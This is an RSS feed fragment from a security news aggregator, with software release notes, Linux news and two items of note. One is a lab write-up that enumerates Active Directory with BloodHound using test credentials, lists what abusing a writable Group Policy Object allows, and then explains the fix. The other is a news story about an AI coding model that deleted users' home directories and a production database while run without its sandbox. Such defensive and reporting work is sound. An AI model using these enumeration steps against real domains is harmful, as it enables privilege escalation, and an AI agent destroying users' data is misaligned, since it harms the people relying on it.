<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Frame: The First Linux X Server Written Entirely in Assembly Language]]></title>
<description><![CDATA[In a bold move toward ultimate minimalism, developer Geir Isene has created Frame — the first X11 server for Linux written entirely in assembly language. The X server is one of those foundational pieces that most of us take for granted. It’s big, complex, and full of decades of legacy code. But w...]]></description>
<link>https://tsecurity.de/de/3678932/linux-tipps/frame-the-first-linux-x-server-written-entirely-in-assembly-language/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678932/linux-tipps/frame-the-first-linux-x-server-written-entirely-in-assembly-language/</guid>
<pubDate>Sun, 19 Jul 2026 07:39:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a bold move toward ultimate minimalism, developer Geir Isene has created Frame — the first X11 server for Linux written entirely in assembly language. The X server is one of those foundational pieces that most of us take for granted. It’s big, complex, and full of decades of legacy code. But what if someone...</p>
<p>The post <a href="https://www.debugpoint.com/frame-x-server-assembly-linux/">Frame: The First Linux X Server Written Entirely in Assembly Language</a> appeared first on <a href="https://www.debugpoint.com/">DebugPoint.com</a>. Do not reproduce this post without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI on the linux desktop?]]></title>
<description><![CDATA[Ok, I know we hate AI, but hear me out: as someone pointed out in this comment, AI is rapidly making it pretty easy to overcome the main hurdle to people using linux as their daily driver: oh shit my X doesn't work, now I have to trawl through 30 reddit threads to figure out why and then cling to...]]></description>
<link>https://tsecurity.de/de/3678779/linux-tipps/ai-on-the-linux-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678779/linux-tipps/ai-on-the-linux-desktop/</guid>
<pubDate>Sun, 19 Jul 2026 04:54:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Ok, I know we hate AI, but hear me out: as someone pointed out in <a href="https://www.reddit.com/r/AskReddit/comments/1uzw5um/comment/oyb1v4a/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button">this</a> comment, AI is rapidly making it pretty easy to overcome the main hurdle to people using linux as their daily driver: oh shit my X doesn't work, now I have to trawl through 30 reddit threads to figure out why and then cling to a 12-page instruction guide for how to fix it and hope I don't screw anything up.</p> <p>Only I have Claude Code installed in zed with its default project set to my home directory, so I can just fire it up and go 'Hey the left speaker on my headphones doesn't work?' and it can go figure out why and then fix it. And Kibbelz got me to wondering: why don't the major commercialized distros do this? Linux could gain significant desktop share in the user space by just going, 'Here's a text box, type in whatever problem or question you have about your linux install and we'll be happy to figure it out for you'.</p> <p>Whoever manages to box that experience and polish it properly first will win the distro wars (to the extent that they are wars, and can be won, which is admittedly highly debatable.) Obviously the polish would be important here - needs to be something trained on linux commands, that doesn't have permission by default to rm -rf and such.. but I think it's doable, and could add a lot to linux's desktop share.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/libra00"> /u/libra00 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v00ywk/ai_on_the_linux_desktop/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v00ywk/ai_on_the_linux_desktop/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Acknowledges GPT-5.6 May Accidentally Delete Files, Calls It 'Honest Mistake']]></title>
<description><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after t...]]></description>
<link>https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</guid>
<pubDate>Sun, 19 Jul 2026 03:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer taking to X to report that GPT-5.6-Sol had "just accidentally deleted almost all" of his Mac's files. Just days later, software engineer Bruno Lemos posted on X that the same model had deleted his entire production database. In response to these incidents, the company's engineering lead for Codex, Thibault Sottiaux, wrote on X that internal investigations have revealed that these deletion incidents are more likely to happen when "full access mode is enabled, and Codex is run without sandboxing protections, including without auto review being enabled." In cases where full access mode is granted, the model, Sottiaux wrote, "attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead...." 



The company, however, according to Sottiaux, is taking steps to mitigate the risk. "This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them," the engineering lead wrote on X. "We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards," Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen "extremely rarely."



<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=OpenAI+Acknowledges+GPT-5.6+May+Accidentally+Delete+Files%2C+Calls+It+'Honest+Mistake'%3A+https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F19%2F0129228%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F19%2F0129228%2Fopenai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/07/19/0129228/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This theme makes Discord look more at home on Ubuntu]]></title>
<description><![CDATA[The official Discord desktop app supports Linux but it doesn’t make much effort to fit in, which is why alternative clients are popular – not least because they can be themed. Discord GNOME Theme by developer ~ricewind012, is so named because, basically, that’s what it is: a custom theme that res...]]></description>
<link>https://tsecurity.de/de/3678557/linux-tipps/this-theme-makes-discord-look-more-at-home-on-ubuntu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678557/linux-tipps/this-theme-makes-discord-look-more-at-home-on-ubuntu/</guid>
<pubDate>Sun, 19 Jul 2026 00:06:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Vesktop-GNOME-theme.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Vesktop-GNOME-theme.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Vesktop-GNOME-theme.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Vesktop-GNOME-theme.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Vesktop-GNOME-theme.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">The official Discord desktop app supports Linux but it doesn’t make much effort to fit in, which is why alternative clients are popular – not least because they can be themed. Discord GNOME Theme by developer ~ricewind012, is so named because, basically, that’s what it is: a custom theme that restyles Discord to look more like Adwaita and follow the GNOME HIG (well, as close as Discord’s CSS allows). A reminder: Ubuntu’s Yaru theme is based (heavily) on upstream Adwaita, so while this theme won’t give an exact match on Ubuntu, it’s closer than stock. As it’s all CSS, it […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/discord-gnome-theme-adwaita-vesktop">This theme makes Discord look more at home on Ubuntu</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)]]></title>
<description><![CDATA[Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.But if the wrong user has control over a GPO, it can become an easy privilege escalation path.In this lab, I’ll use BloodHound to identify...]]></description>
<link>https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYSV94Q4TKE53NHop9sBDw.png"></figure><p>Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.</p><p>But if the wrong user has control over a GPO, it can become an easy privilege escalation path.</p><p>In this lab, I’ll use <strong>BloodHound</strong> to identify a dangerous GPO permission and then show how to fix it.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Attacker:</strong> Kali Linux</li><li><strong>User:</strong> bob</li></ul><h3>Step 1 — Collect Active Directory Data</h3><p>First, I collected information from Active Directory using <strong>BloodHound.py</strong>.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>BloodHound successfully collected:</p><ul><li>8 Users</li><li>55 Groups</li><li>3 GPOs</li><li>2 OUs</li><li>1 Computer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jA0bN8_u-FCRSuDjOdIbFg.png"></figure><h3>Step 2 — Import into BloodHound</h3><p>Next, I uploaded the generated ZIP file into BloodHound Community Edition.</p><p>BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0gcQnP34CNfRQp0qFv4hw.png"></figure><h3>Step 3 — Finding the Misconfiguration</h3><p>BloodHound showed that <strong>Bob</strong> had <strong>WriteDacl</strong>, <strong>WriteOwner</strong>, and <strong>GenericWrite</strong> permissions over the <strong>Employees Policy</strong> GPO.</p><p>These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.</p><h3>Why Is This Dangerous?</h3><p>If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:</p><ul><li>Execute scripts on domain computers</li><li>Deploy scheduled tasks</li><li>Add users to local Administrators</li><li>Push malicious registry changes</li><li>Gain higher privileges across the domain</li></ul><p>A single misconfigured GPO can impact many systems at once.</p><h3>Step 4 — Fixing the Issue</h3><p>On the Domain Controller:</p><pre>Group Policy Management<br>        ↓<br>Employees Policy<br>        ↓<br>Delegation</pre><p>Review who has permissions on the GPO.</p><p>Remove unnecessary permissions such as:</p><ul><li>GenericWrite</li><li>misconfiguredWriteDacl</li><li>WriteOwner</li></ul><p>Only trusted administrators should have these rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*FC8s8UA4FIWW0lay8j9Ikw.png"></figure><h3>Verify the Fix</h3><p>Run BloodHound again after updating the permissions.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>Re-import the ZIP into BloodHound.</p><p>The dangerous permission edges should no longer appear for <strong>Bob</strong>.</p><h3>Key Takeaways</h3><p>1.Regularly audit GPO permissions.</p><p>2. Use the principle of least privilege.</p><p>3. Review BloodHound findings periodically.</p><p>4. Remove unnecessary <strong>GenericWrite</strong>, <strong>WriteDacl</strong>, and <strong>WriteOwner</strong> permissions.</p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.</blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5d59c031e602" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it-5d59c031e602">How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v17.0.4]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Fixed

Fixed Kimi Code usage reports dropping the 5h window reset time (omp usage showed no "resets in …" for the 5h limit): the API returns resetTime on the limit detail, not on window, so the parsed row-level reset is now carried onto the window when the window itself has none.
...]]></description>
<link>https://tsecurity.de/de/3677472/tools/v1704/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677472/tools/v1704/</guid>
<pubDate>Sat, 18 Jul 2026 07:22:41 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed Kimi Code usage reports dropping the 5h window reset time (<code>omp usage</code> showed no "resets in …" for the 5h limit): the API returns <code>resetTime</code> on the limit <code>detail</code>, not on <code>window</code>, so the parsed row-level reset is now carried onto the window when the window itself has none.</li>
<li>Made Kimi device-id persistence best-effort: a missing or unwritable <code>~/.omp/agent</code> directory no longer throws during Kimi header construction, which silently nulled every <code>kimi-code</code> usage probe on fresh installs.</li>
<li>Coerced boolean tool-schema subschemas to MFJS object forms for native Moonshot/Kimi endpoints, preventing the task tool's <code>outputSchema</code> field from causing HTTP 400 responses (<a href="https://github.com/can1357/oh-my-pi/issues/5952" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5952/hovercard">#5952</a>).</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Changed</h3>
<ul>
<li>Kimi-family models now use MFJS tool schema on all hosts, including proxies like OpenRouter that forward schemas to Moonshot</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed bundled Linux ffmpeg recording by selecting its available ALSA input when PulseAudio support is absent, and surfaced recorder stderr when capture fails (<a href="https://github.com/can1357/oh-my-pi/issues/5907" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5907/hovercard">#5907</a>).</li>
<li>Session load now skips the recursive async blob-ref resolver for entries with no <code>blob:sha256:</code> references. A cheap synchronous precheck gates the walk per entry (preserving the previous per-entry initiation order under synchronous store mutation), so text-heavy histories no longer pay the <code>Promise.all</code> tree descent for every non-session entry (<a href="https://github.com/can1357/oh-my-pi/issues/5922" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5922/hovercard">#5922</a>).</li>
<li>Fixed <code>task</code> tool schemas emitting boolean subschemas that llama.cpp grammar generation cannot parse (<a href="https://github.com/can1357/oh-my-pi/issues/5957" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5957/hovercard">#5957</a>).</li>
<li>Fixed the transcript keeping finalized assistant blocks in the live compose walk after their rows entered native terminal scrollback, making each stream tick's <code>TranscriptContainer.render</code> depth-linear in session length. Fully committed finalized blocks are now compacted out of the local frame regardless of post-finalize version tracking; a later mutation no longer recommits on ordinary frames (no duplication) and rehydrates on the next destructive full replay (no loss). Compose cost for a live tail tick is now flat as depth grows (<code>bench/transcript-compose.bench.ts</code>: ratio(N5000/N500) 2.30 → 0.90) (<a href="https://github.com/can1357/oh-my-pi/issues/5930" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5930/hovercard">#5930</a>).</li>
<li>Fixed <code>/quit</code> and <code>/exit</code> hanging during interactive shutdown by making the mnemopi dispose path retain the current session and flush in-flight extractions without sleeping the bank; the <code>/memory enqueue</code> path and end-of-session backend enqueue still perform full cross-session consolidation. (<a href="https://github.com/can1357/oh-my-pi/issues/3641" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3641/hovercard">#3641</a>)</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Fixed</h3>
<ul>
<li>Rejected <code>DEL N:</code> headers with a trailing colon instead of silently tolerating the colon, so delete-with-body mistakes surface the corrective "has no colon" guidance.</li>
</ul>
<h2>@oh-my-pi/pi-mnemopi</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed a corrupt cached embedding model (truncated <code>model_optimized.onnx</code>, <code>Protobuf parsing failed</code> on load) permanently disabling local embeddings: init now quarantines the broken cache file (rename to <code>*.corrupt-&lt;ts&gt;</code>, only when the path resolves inside the fastembed cache directory) and retries once so the model re-downloads.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(mnemopi): self-heal a corrupt cached embedding model on init by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DarkPhilosophy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DarkPhilosophy">@DarkPhilosophy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915535326" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5923" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5923/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5923">#5923</a></li>
<li>perf(session): gate blob-ref resolution behind synchronous precheck by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915557895" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5925" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/5925/hovercard" href="https://github.com/can1357/oh-my-pi/pull/5925">#5925</a></li>
